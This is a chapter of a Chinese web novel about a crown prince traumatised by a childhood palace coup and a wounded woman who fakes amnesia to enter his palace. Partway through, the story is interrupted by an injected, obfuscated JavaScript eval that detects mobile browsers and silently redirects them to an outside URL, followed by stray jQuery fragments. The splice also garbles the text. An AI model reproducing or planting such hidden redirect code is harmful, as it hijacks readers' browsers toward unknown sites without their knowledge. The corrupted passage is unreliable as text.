13.第 13 章
作品:《东宫摆烂日常》 凤昭承安四年,顺王凤贠发动兵乱。
那一年,凤岐三岁。
那夜宫中处处都是喊杀声,尸横遍野,血流成河,云亭驿站的鲜血与那夜相比,不过只是冰山一角。
小凤岐被皇后暗卫护着退至玉坤殿,路上他眼睁睁看着一个又一个熟悉的面孔在血泊中,鲜血喷溅的到处都是,他麻木的被拉着跨过一具又一具死相凄惨的尸体。
玉坤殿中,皇后愤声质问凤贠。
“陛下待你不薄,为何要谋反?”
“不薄?给我一块封地将我打发出京便算待我不薄?”
凤贠已是杀红了眼,面容狰狞的吼道:“什么又叫谋反,我才是元后嫡出,如何轮得到他凤曌坐上轮椅!”
“可陛下是奉旨登基!”
皇后厉声道:“你起兵逼宫就是谋反,靠谋反得到的皇位岂能长久?”
“够了!”
凤贠双眼充血,怒吼道:“到现在你还要为他说话!别忘了,你本该是我的正妃,是他凤九曌横刀夺爱!”
凤贠边说边缓缓靠近皇后,放低声音:“阿隐,你别怕,待我杀了这个孽种,坐上皇位,你仍旧是凤昭的皇后,他凤曌能给你的,我也能给。”
“疯子,真是疯子!”皇后将凤岐紧紧护在怀里:“你要杀岐儿,就从我尸体上踏过去!”
“你为何如此在意这个孽种!若无凤曌趁人之危,此时我们也该有了孩子!”凤贠恨恨剜了眼凤岐,那滔天的恨意似要将三岁孩童淹没:“这个孽种本就不该存在!”
小凤岐被那恨意骇的浑身僵硬。
那时的他并不懂往日待他那般亲和的皇叔为何突然如此恨他。
“够了!”皇后猩红的眼中带着失望和悔意:“我此生最后悔的便是当初答应你的提亲,我与你退婚也从不是因为陛下!”
“都这个时候了你还想为他辩驳!”凤贠吼道:“若没有凤曌,这一切本该是我的!包括你!”
“因为你为了立功无所不用其极,强征赋税,克扣边疆将士军饷,滥杀无辜,欺上瞒下!”皇后一字一句道:“因为你心中只有争权夺利,没有苍生百姓,不配为君,亦不配做我兰隐的夫君!”
“那又如何!”
凤贠:“那还不是被你们逼的,我才是正统嫡出,凭什么父皇更偏爱继后所出,甚至还要将太子之位给凤曌,凭什么我苦苦求之不得的,他凤曌就能轻而易举得到?我若不争如何还有我立足之地!
皇后失望地摇头:“你简直无可救药。”
凤贠握着刀大步走向皇后:“今日,这皇位是我的,你,也是!”
“待我宰了这个孽种...唔!”
一支箭破空而去,从后至前穿透凤贠的胸口。
鲜血喷溅到小凤岐脸上,他身子一抖,直愣愣睁着眼,惊的仿佛失了神魂。
“凤贠,闹够了,该结束了。”
凤曌握着弓走进玉坤殿。
凤贠不敢置信,满眼不甘:“凤…曌…”
凤曌持弓护在母子身前,高大的身影挡住了小凤岐的视线,但他说的话却都模糊传入了小凤岐耳中:“若你安分,朕自能容你在封地平安度过一生,可你非要觊觎一些不属于你的东西。”
“这本该...就是我的!”
凤贠吐出一口鲜血,满眼不甘。
“什么叫本该?先不提你不配为君,便是只论手段,你又有何处能胜过朕?今日这请君入瓮,你可满意?你以为没我的默许,你能打入宫中?”
凤贠猛地意识到什么:“你是说,这都是...你的布局..”
“朕自小便知,要争,要赢,手里得有足够的筹码,也要杀伐果断,朕早知你有谋反之心,又岂能留你这个祸患?”
那日宫变,凤贠输的彻底,但有什么东西在小凤岐心中崩塌。
他牢牢记住了凤曌的话,但凡威胁到他的,要杀伐果断。
一夜之间,金尊玉贵的小太子眼底染上的阴霾和杀戮,他脑袋里解决问题的办法只有一个,就是杀。
抢他心爱之物的,他要杀,抢母后的,他要杀,听见有藩王对父皇有威胁,他也要杀。
连在梦中,他都喊着要杀人。
太医说,小凤岐这是受了太大的刺激留下了后遗症,那段时日,皇后几乎寸步不离的守在他身边,但始终不见好转。
直到兰白樾降生。
太医建议可以适当带小凤岐去宫外散心,兰白樾满月宴时,皇后带着小凤岐出宫探望,差点酿成大祸。
看见皇后慈爱的逗着小婴儿,小凤岐感觉到了威胁,病症发作不知从何处寻了把剑来要去杀人,幸得及时被兰夫人身边的人拦下。
那日所与人都吓的不轻,赶紧将两个孩子隔开,皇后抱着神思呆滞的小凤岐眼泪直流,兰夫人抱着儿子心有余悸:
“怎会如此...”
皇后又愧疚又心疼:“从那日后,就这样了。”
她今日一直没敢让小凤岐离开她视线,方才她去如厕,交代好身边人看好小凤岐,却没想到一个不慎让他跑了,差点酿成了大祸。
兰夫人与皇后在闺阁中就交好,小凤岐降生后,兰夫人没少抱他,小凤岐活泼爱笑,兰夫人向来喜爱的紧,知道宫变日小凤岐受惊很是心疼,只是怀着身孕不便行走探望,实没想到小凤岐竟已如此严重。
“太医如何说?”
“说是大惊之后留下的心结,得慢慢开解。”
皇后轻叹一声:“眼下只能先寸步不离陪着,今日着实对不住,我先带岐儿回去...”
突然,婴儿的咯咯笑声打断了皇后。
众人纷纷回头,却见小兰白樾直直盯着小凤岐笑的很是欢快。
而原本呆滞着的小凤岐竟缓缓回头看向了小兰白樾。
这一变故让所有人都愣住了。
小兰白樾挥舞着胖呼呼的小手,眼睛笑成了小月牙。
见小凤岐目不转睛盯着小兰白樾看,兰夫人迟疑良久后,放软声音朝小凤岐道:“小殿下,这是弟弟。”
“弟妇...”
皇后察觉到兰夫人的心思,忙要阻止,却见兰夫人朝她轻轻摇头,转而温柔的对小凤岐道:“弟弟很喜欢小殿下,小殿下可要过来看看弟弟?”
在所有人的注视下,出乎意料的,小凤岐竟然慢慢动了。
顿时,一屋子人大气也不敢喘。
皇后更是赶紧站起身跟在小凤岐身后,做好随时将他拉开的准备。
待小凤岐走到小兰白樾跟前时,兰夫人握着儿子胖乎乎的小手,温柔朝小凤岐道:“小殿下,弟弟要和你握手呢,你摸摸看。”
小凤岐一动不动。
兰夫人无声看向皇后,皇后会意,先一手按住小凤岐的左臂,再握住他的右手慢慢抬起,温声哄着:“岐儿乖,和弟弟握握手。”
两只小手在两位母亲的爱意中轻轻碰在了一起。
那一瞬所有人都屏气凝神,生怕小凤岐又突然发病,伤了小婴儿。
但小凤岐只是歪了歪头,平静地看着手心肉乎乎的小手。
皇后顿时热泪盈眶。
要知道从那天后,除了她和陛下,没有人再能靠近岐儿半步。
兰白樾是第一个。
皇后微微哽咽道:“岐儿,以后要保护好弟弟,好不好?”
她没指望小凤岐答应,她只是想尽可能的告诉他,以后不可以伤害小兰白樾。
然而她没想到,小凤岐竟然开了口:“弟弟?”
皇后忍着泪,轻轻点头。
“对,是弟弟,和父皇和母后一样是岐儿的亲人。”
小兰白樾在小凤岐掌中晃了晃小手,抓住了他的一根手指。
小凤岐静静看了半晌后,低声道:“好。”
皇后与兰夫人怔愣片刻,才反应过来小凤岐回答的是方才皇后那句‘以后要保护好弟弟,好不好’,二人惊喜地对视一眼,眼里都涌出泪光。
从那以后,兰夫人就常带小兰白樾进宫。
不过刚开始都没敢让他们单独相处,不管多紧要,小兰白樾的身边都绝不会离人。
就这样慢慢地,小凤岐的病症竟也极少发作了。
但他的性子也发生了翻天覆地的变化。
他不再爱笑,不再温和,而是变得很严厉,不容人有丝毫错处,但凡不顺他的意必是重罚。
宫人很有眼力劲,每每这时不是去寻皇后,而是去找兰小公子,只要兰小公子来撒泼打滚闹一通,就能把人保下来。
见小兰白樾对小凤岐的病症有益,兰夫人主动同皇后提及将小兰白樾送进东宫给小凤岐做伴读,皇后起先还有些担心,但兰夫人的劝说下还是点了头。
果然,有小兰白樾这个小太阳陪着,久而久之,小凤岐也不再将打杀挂在嘴边,竟慢慢地恢复了以往的平和。
他再次发病是在小兰白樾九岁时。
那段时日小兰白樾喜欢上一条小狗,可玩耍时不慎被抓伤,小凤岐当即就像是变了个人,下令将小狗处死,小兰白樾哭着抱着他的腿求情。
“表哥,它不是故意伤害我的,我很喜欢它,放过它好不好。”
小凤岐病症发作起来谁也不认,眼看劝不住小兰白樾只能用自己的身体护着小狗,结结实实挨了小凤岐几棍子晕了过去后,小凤岐才猛地清醒过来,扔掉了棍子。
从那以后,凤岐再没发过病,只是眼里偶尔还是可以窥见冷漠和杀气,只是被他很好的掩饰了。
但凤岐曾因宫变心神受损一事瞒的极好,至今都少有人知晓。
平日的他看起来永远是懒撒不羁,行事随和,稳固着他凤昭的吉祥物的位子。
“表哥,表哥!”
玉京没有雨,只天色略有些昏暗,兰白樾趴在马车窗户边,指着街旁欢快道:“表哥你快看,那里新开了一间赌坊诶,我记得原来是什么来着,哦对是一家酒楼,诶怎么变成赌坊了。”
自进玉京开始,凤岐已经被吵了一路,头也不抬道:“想去赌?”
“嗯啊...啊?没有啊。”
兰白樾差点说漏嘴,赶紧找补:“我才没有想去赌,一回京就去赌坊,我爹肯定会拿着棍子来请我。”
他说完,无意中看见了后头的马车,想了想后,坐回马车里,关上窗户,道:“表哥,你真的要把她带进东宫吗?”
“嗯。”
凤岐淡声道:“待她伤好,我会让人送她离开。”
她的身份没有查清前,他不会放她走。
如若她真是冲着他们来的,随意放走恐有后患。
兰白樾没有多想,问:“我可以进宫看她吗?”
“随你。”
马车一路行驶到国公府门口,在兰白樾下马车前,凤岐道:“这两日不许进宫,出门这么久,这两日好生待在府里陪舅母。”
兰白樾点头:“我知道,我过几日再进宫。”
说完,他头也不回地下了马车。
门房见着兰白樾惊喜的迎上了来:“小公子回来了。”
“快去禀报夫人,小公子回来了。”
看着兰白樾被簇拥着进了府,凤岐才道:“回宫。”
-
东宫。
一个略显圆润的小太监抻着脖子在门口张望着,刚见轿撵出现在尽头,他便扬起了笑容,吩咐身后的人:“都打起精神,殿下回来了。”
待轿撵停下,他赶紧迎上前,笑容满面:“殿下,您可回来了。”
“今儿一早奴才就听见喜鹊叫,寻思着殿下这两日也该是要回来了,方才一听到消息,奴才可高兴坏了,两月没见着殿下,奴才茶饭不思,都瘦了呢。”
凤岐搭着他的手臂下了马车,缓步进了宫门,等他念叨完了,才上下打量他一眼:“瘦了?孤怎么瞧中,又圆了些。”
“哪有?明明瘦了。”
小太监眼珠子一转,试图蒙混过去:“哎呀,殿下怎么瘦了这么多,殿下从没出过远门,这两月也不知受了多少苦,奴才已经备好了汤池,吩咐御膳房做了殿下爱吃的,殿下边泡汤池边用膳,还是泡完了再用?”
廉贞三人跟在后头,心里只有三个字。
狗腿子!
“对了,小的已经让人给三位大人备好了热水,三位大人平日爱吃的饭菜,等会儿就送到三位大人房里。”
小太监回头看向几人,安排的妥帖周到:“这两个月的新衣也已经做好送到各位大人房里了。”
廉贞三人对视一眼。
陀罗勾唇:“我就说小橘子最是妥帖。”
小橘子:“陀罗大人又好看了呢。”
快别笑了,怪渗人的。
“行了,都退下吧。”
凤岐看了眼廉贞:“送到侧殿。”
廉贞颔首:“是。”
小橘子这才看见身后跟着的马车,好奇道:“马车怎么进来了?”
“东西多,方便。”
廉贞简洁道。
小橘子也没多想,眼见凤岐走远忙小跑着追上去:“殿下,您这回回来了不出远门了吧,再出远门带上奴才呗,奴才一日不见殿下就不得劲儿。”
“是吗!”
凤岐:“孤方才见过杨巽了,怎么听他说,你这两月过的很悠哉?每顿能吃三碗饭四个菜?”
“奴才这不还小,长身体呢。”小橘子面不红心不跳:“杨统领倒是关心奴才,连这都知道。”
“他还知道你每日跟小宫女打马吊叶子牌,在花园里抓蛐蛐,玩的不亦乐乎。”
“偶尔,只是偶尔!”
小橘子正色道:“杨统领这属于攻讦。”
“那孤将他叫来,你们对峙?”
“嘿嘿,奴才觉得吧,杨统领那么忙为这点小事来对峙不值当,不值当。”
小橘子笑容堆了满脸:“殿下,快到了,有台阶,您小心脚下。”
“哼。”
凤岐自知道他在找台阶下,也懒得追究:“准备套姑娘家的衣裳送到侧殿,让罗姑姑亲自去。”
“是,奴才这就去。”
小橘子迅速转身要走,突然脚步一旋又转了回来:“那个,奴才没有听错吧,是准备套…姑娘…家的衣裳送到侧殿?”
‘姑娘’二字被他咬的极重。
凤岐斜他一眼:“不得声张。”
小橘子霎时瞪圆了双眼,倒抽一口凉气:“天爷诶……”
他就说好端端的怎么把马车弄进来了,原来里头藏着姑娘!
不对,重点是殿下竟然带回个姑娘回来!
凤岐听得那声惊叹回过头,小橘子连忙将嘴合上:“奴才这就去!”
小橘子脚步飞快的去寻了罗姑姑,带着准备衣裳径直往侧殿去。
罗姑姑见他走的这样急,不由皱眉:“走这么快作甚?规矩都忘了?”
“哎哟我的姑姑诶,出大事了!”
小橘子脚步不停,犹如踩了风火轮。
“到底什么事急成这样?”
“姑姑您到了侧殿就知道了。”
殿下即将及冠,娘娘不止一次提及殿下婚事,都被殿下给搪塞过去,到如今身边连个侧妃都没有,谁曾想这一趟远行就带回个姑娘。
他迫不及待想知道什么样的美人能让殿下开窍。
到了侧殿,发现大门紧闭。
小橘子四下望了眼,鬼鬼祟祟伸手敲了敲门。
罗姑姑看的莫名。
“侧殿无人,你敲什么门?
话刚落,门便从里打开。
陀罗看了眼二人,打了个哈欠:“交给你们了,我走了,药已经上过了。”
“好嘞,陀罗大人慢走。”
小橘子侧身让开路,待陀罗离开,他才赶紧拉着罗姑姑踏进侧殿,顺手把门关上。
罗姑姑见他这般谨慎,皱眉往屏风后走去:“到底发生什么…”
她话音一顿,僵在原地。
却见原本该空无一人的侧殿中,添了新的纱帐,隔着轻纱隐约能瞧见床上躺着的人影,榻边还放着一双明显是女子尺寸的靴子。
“这…”
小橘子好奇的探头张望:“这也看不清什么模样啊。”
罗姑姑半晌才回过神,盯着小橘子:“到底怎么回事?”
“小的也不知道啊。”
小橘子面露苦涩道:“方才殿下就吩咐小的送一套女子的衣裳,再将罗姑姑请过来,其他什么也没说,哦不对,说了的。”
罗姑姑忙问:“说了什么?”
小橘子正色道:“不许声张。”
罗姑姑面色一僵。
小橘子继续道:“难道,殿下想要金屋藏娇?”
罗姑姑扯了扯唇角,打断小橘子的臆测:“好了,既然是殿下交代的,先照做,别多话。”
“这里有我,你去伺候殿下。”
“是。”
小橘子应下:“那小的就先走了。”
小橘子一步三回头,颇为遗憾的走了。
白跑这么快了。
等小橘子出了侧殿,罗姑姑绷着的脸色立刻松了,她长呼一口气。
老天爷,殿下这是在干什么,怎么还偷偷带了个女子回来!
罗姑姑轻手轻脚的上前,小心翼翼掀开纱帐,然后瞳孔一震。
“我滴个乖乖,这模样好生标志。”
怪不得能入了殿下的眼。
也不知是哪家的姑娘…
不对,这昏迷着,还不让声张,天爷,该不会是殿下强行将人带回来的吧。
不不不,殿下做不出这种事。
罗姑姑放下纱帐,拍了拍胸脯安抚了会自己,才取了衣裳小心给人换上,发现人身上还有伤后,更是吓得心惊担颤。
不多会儿,小橘子又回来了。
“殿下让小的也来守着。”
四目相对,面面相觑。
一个姑娘让他们两个人看着,这是生怕人跑了?
二人各怀心思,在床边来回踱步,坐立难安。
胥璜是被杂乱的脚步声吵醒的。
她感觉耳边好像有千军万马,不停的来回走动,吵的她头脑发晕。
“别吵!”
胥璜烦躁的出声。
耳边的动静蓦地消失。
但紧接着,她感觉到一阵风袭来,有人靠近了她。
她猛地清醒过来睁开了眼,然后便对上两张放大的脸,她吃了一惊,差点一拳打了出去,幸得一道女声及时阻止了她。
“姑娘您醒了?”
胥璜盯着两张笑容诡异过分亲和的脸,半晌,才轻轻点头:“你们是...”
罗姑姑和小橘子笑容一滞:“姑娘不知道这是哪里?”
胥璜抬眸扫了眼四周,视线从柱子上的龙纹一扫而过,心里已大约猜到凤岐这是将她带进宫了。
但她面上不显,只茫然摇头。
“不知。”
“那...那姑娘与殿下如何相识?”
罗姑姑尽量委婉问道。
“殿下?”
胥璜轻声重复了一遍,而后猛地想起了什么,慌忙掀开软被要下床,被罗姑姑阻止:“姑娘身上有伤,别乱动,仔细伤口。”
胥璜有些彷徨不安。
“我...我不知殿下是太子,不敢攀扯,我这就走。”
“姑娘姑娘..”
小橘子连忙拦住她,笑着道:“是这样,是殿下将您带回来的,你可安心在这里养伤,不急着走。”
胥璜动作一顿。
“殿下将我带回来的?”
“是啊。”
罗姑姑干笑了笑,试探道:“不知姑娘姓甚名谁,家住何方?”
胥璜沉默片刻,摇头:“我不记得了。”
“不记得?”
小橘子惊道:“怎会不记得?”
“我受伤失去了过往的记忆。”
胥璜道。
小橘子与罗姑姑再次对视一眼。
殿下这是趁人之危啊!
“奴才斗胆问姑娘一句,可是自愿随殿下回来的?”
小橘子壮着胆子问道。
罗姑姑亦紧紧盯着胥璜。
胥璜愣住了。
好半晌她才终于明白他们的诡异笑容从何而来了。
他们这是怀疑凤岐强抢了她回来?
“能得殿下相救,民女感激不尽。”
小橘子罗姑姑同时松了口气。
不是殿下抢回来的就好!
但还是有趁人之危的嫌疑!
小橘子忙殷切道:“姑娘可饿了?想吃点什么小的让厨房去做。”
胥璜刚想说不用,肚子便咕噜叫了声。
她有些难为情的低下头。
小橘子忙道:“姑娘稍后,小的这就去传膳。”
“多谢。”
胥璜温声道。
小橘子走后,殿内霎时安静了下来,剩罗姑姑与胥璜大眼瞪小眼。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483714|184600||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好在小橘子动作快,不到一刻便带着饭食回来了。
荤素点心,一应俱全。
胥璜这两日频繁用苦肉计,算下来,已经两天没吃饭了,早就饿的前胸贴后背,也没过多客气,开始大快朵颐。
“姑娘慢点吃,不够还有。”
小橘子看傻了眼,心疼道:“姑娘这是多久没用饭了?”
倒是罗姑姑若有所思。
饿成这般模样,动作却无半点粗俗,反而一举一动间很是雅致,这等规矩绝非一朝一夕能养出来的,这姑娘,身份怕是不简单。
等胥璜用完犯,罗姑姑故作随意道:“不知姑娘可还记得如何受伤,如何为殿下所救?”
胥璜自是如实道来。
“我在云亭客栈醒来便什么都不记得了,只听殿下说将潭中救了我,我怕给殿下添麻烦,次日一早便离开了驿站,谁曾想半路遇到大雨,昏昏沉沉间就没了意识,再醒来就在这里了。”
“原是这样啊。”
罗姑姑笑着道:“那姑娘可安心在此养伤,有什么需要的尽管吩咐。”
殿下可不是随意带姑娘回来的人,这怕是对人家一见钟情了。
胥璜连忙道谢:“多谢姑姑。”
“姑娘不必客气。”
罗姑姑道:“对了,姑娘这身衣裳是临时找来的,不太合身,晚些时候我给姑娘量个尺寸,给姑娘做几件衣裳。”
“不必...”
“无妨,姑娘安心住下即可。”
-
凤岐沐浴完用了饭,又去拜见了陛下和皇后,才慢悠悠回了东宫。
刚到正殿,就见小橘子端着布料满脸笑容的从侧殿出来,他将人叫住:“这是作甚?”
小橘子左右看了眼,见没有人神神秘秘回道:“给人姑娘量衣啊,殿下要金屋藏娇,可不能短了人吃穿。”
“殿下放心,奴才方才已经给姑娘送过饭了,姑娘胃口不错..”
“等等。”
凤岐打断他:“她醒了?”
“醒了啊。”
小橘子道:“吃完饭睡了一觉,这会儿醒来,刚量完衣。”
凤岐:“...”
倒是比他都还悠闲。
还有,他是让他们盯着她,他们倒好,还伺候上了。
凤岐对上小橘子邀功的笑容,无奈叹了口气:“先退下。”
“是。”
小橘子轻声道:“殿下放心,殿内没人,奴才在这守着,绝不让任何人靠近。”
凤岐:“....”
算了,他和蠢货说不明白。
凤岐踏进殿中,便看见身形单薄的女子坐在桌前走神。
察觉到他走近,她忙站起身,直愣愣看着他。
姑娘身上的衣裳并不合身,稍微有些紧,袖子也有些短,女子玲珑有致的身形一览无余。
凤岐默默错开视线。
胥璜回过神,忙道:“多谢殿下相救。”
凤岐示意她坐下。
才道:“并非我相救你,是表哥冒着大雨将你从路上捡回来的。”
胥璜又忙道:“兰小公子大恩,小女子没齿难忘。”
凤岐淡淡看着她:“救你并非指望你报恩。”
“你只需告诉我,你是谁?”
胥璜自然知道他这是在试探她,轻轻摇头:“我还是没能想起来。”
凤岐瞧了她半晌才道。
“是吗,但我倒是从旁人口中听见了你的名字。”
胥璜一怔,忙道:“谁?那人认得我?他在何处?”
凤岐目不转睛看着她,缓缓道:“杀你的人。”
胥璜脸色肉眼可见的白了些。
她动了动唇,有些不敢置信道:“我的...仇人?”
“更准确的来说,你是他们的仇人。”凤岐状似随意道:“据那几人所说,你是他们的杀父仇人,还抢了他们的宝贝。”
胥璜神情震惊,久久没回神,好半晌,她低头瞧着自己的双手:
“怎么可能...我怎么会杀人...”
凤岐没错过她任何一个反应,微微眯起眼。
若这是装的,演技未免太好了些。
“涂萤。”
胥璜面露茫然:“什么?”
凤岐沉默了几息,道:“他们唤你妖女,涂萤。”
胥璜怔愣地看着凤岐。
“妖女?”
她怀疑的打量了眼自己,似乎不愿相信自己是旁人口中的妖女。
“涂萤...”
突然,胥璜低喃了声,而后轻轻捂着头,面露痛苦之色,似乎是想起了什么画面,嘴里轻声低喃:“不,不要...师父...快走...”
凤岐微微蹙眉,扬声道:“小橘子,请陆太医过来一趟。”
“头好痛。”
胥璜虚弱的捂着头半倒在桌上,凤岐却不见半分怜惜,而是淡声道:“你有师父?”
胥璜没想到这人心肠如此硬,只能硬着头皮继续演下去。
“嗯....师父....”
“你想起什么了?”
“我...”
胥璜眼神迷离:“我和师父好像被追杀,师父...死了,不,不对,还有一个人在救我,是谁...”
“那你仔细想想,那个人是谁?”
胥璜痛苦的摇摇头:“他...他是...我想不起来了...他唤我...涂萤!”
“我是涂萤,不,我不是妖女,我没有害人...”
说完,胥璜像是受了刺激般晕倒在了桌上。
凤岐巍然不动的盯了她半晌,突然以掌为刃朝胥璜脖颈劈去,却又停下离脖颈只有半指的距离。
昏迷中的人毫无反应。
凤岐缓缓收回手。
若这都能沉得住气,此女不可小觑。
小橘子带着陆太医进殿看见这一幕,二人都是一愣。
小橘子三步并作两步跑过来:“姑娘这是怎么了?”
凤岐朝陆太医道:“给她看看。”
陆太医也不敢问姑娘是从哪来的,只恭声应下:“是。”
陆太医诊了会儿脉象,突然道。
“这位姑娘可是受过什么重力冲击?”
凤岐:“嗯,从高崖落过水。”
陆太医了然:“原来如此。”
他收回手,道:“禀殿下,这位姑娘筋脉受损,内劲乱窜,近断时日需得好生静养,否则后果不堪设想。”
这些凤岐都知道。
“她不记得前尘了。”
陆太医一怔,随后道:“落入水中,头受到冲击,极有可能影响记忆,不过以姑娘的脉象来看,这只是暂时性的,过些日子就能慢慢想起来。”
凤岐嗯了声:“此事莫要声张。”
不必凤岐吩咐,陆太医也不敢胡乱宣扬:“是,臣明白。”
“小橘子,送陆太医出去,让罗姑姑进来。”
“是。”
待二人离开,凤岐才起身出了侧殿。
“廉贞,让人去查。”
“是。”
-
胥璜直到次日午后才醒。
她醒来便察觉到殿内有人,忙转头看去,隔着纱帐,隐约瞧见一道挺直的侧影。
胥璜忙起身:“殿下。”
凤岐瞥他一眼:“醒了。”
“嗯。”
胥璜有些忐忑的看了他一眼:“我昨日好像晕过去了...”
她当然不是装晕,她可不敢小看太医的医术。
不过是昨日装头痛时偷偷给自己点了睡穴。
凤岐没应,只道:“廉贞。”
话落,便有人推门而入。
“我让廉贞去查了你的身世。”
胥璜面露惊喜:“有结果了?”
凤岐看了眼廉贞,廉贞遂禀报道:“根据目前查到的消息,姑娘确实唤作涂萤,是江湖女魔头沈清绾的徒弟,月余前,前武林盟主为了逼沈清绾交出一样东西,对其下了追杀令,最终,沈清绾死在前任武林盟主徐炀手中,临死前将通身内力尽数传给了姑娘。”
“姑娘身边还有一个护卫,姑娘隐匿的半月后,带着护卫重出江湖为沈清绾报仇,连续杀了逼死沈清绾的五人,江湖也因此天翻地覆,随后新任盟主对姑娘下了追杀令,姑娘逃亡半月后,与护卫一并坠入绝命潭。”
胥璜听到这里,忙起身道:“我的护卫也落了水,可有他的消息?”
廉贞道:“绝命潭深不可测,落入其中很难活命,当日我们也只见到姑娘一人。”
胥璜失落的坐了回去。
又过了会儿,她问:“那我父亲母亲又是何人?”
“据查证,姑娘的父亲乃是卓家一门旁亲,早年父母死于仇杀,独女在护卫的保护下逃亡,多年不知所踪,阴差阳错中被沈清绾收为了徒弟。”
廉贞朝凤岐颔首道:“这是目前查到的与涂萤姑娘有关的所有消息。”
凤岐嗯了声:“先下去吧。”
胥璜却突然道:“等等。”
凤岐淡淡看向她,胥璜有些迟疑道:“殿下,能不能帮我找找我的护卫,听起来,我好像只有他一个亲人了...”
亲人?
凤岐眼神微抬。
半晌后,他道:“好。”
廉贞退下后,胥璜陷入了沉思,不知在想什么。
凤岐便也安静坐着,过了许久,胥璜才回过神,朝她盈盈一拜:“多谢殿下。”
凤岐起身,淡声道:“安心在此养伤,伤养好了便离开。”
胥璜感激应下:“是。”
胥璜目送凤岐离开,眼神微微沉了下来。
她早便猜到若计划成功,凤岐一定会查她的身世,所有她在那半月中已经安排好了一切,且还有太簇在暗中相助,不怕他们调查。
但……装失忆并不长久。
她得在合适的时机想起一切,做回那个被江湖追杀的‘妖女’。
凤岐离开侧殿,廉贞便迎了上来:“殿下,要帮涂姑娘找她的护卫?”
凤岐徐徐道:“找,继续往深了查。”
廉贞一愣:“殿下的意思是...”
“太顺畅了。”
凤岐淡淡道:“顺畅到好像这一切都像是有人提前安排好,就等着我们去查,涂家不是有个孤女逃亡在外吗,就从她查起。”
他倒要看看,还会不会冒出第二个涂家孤女!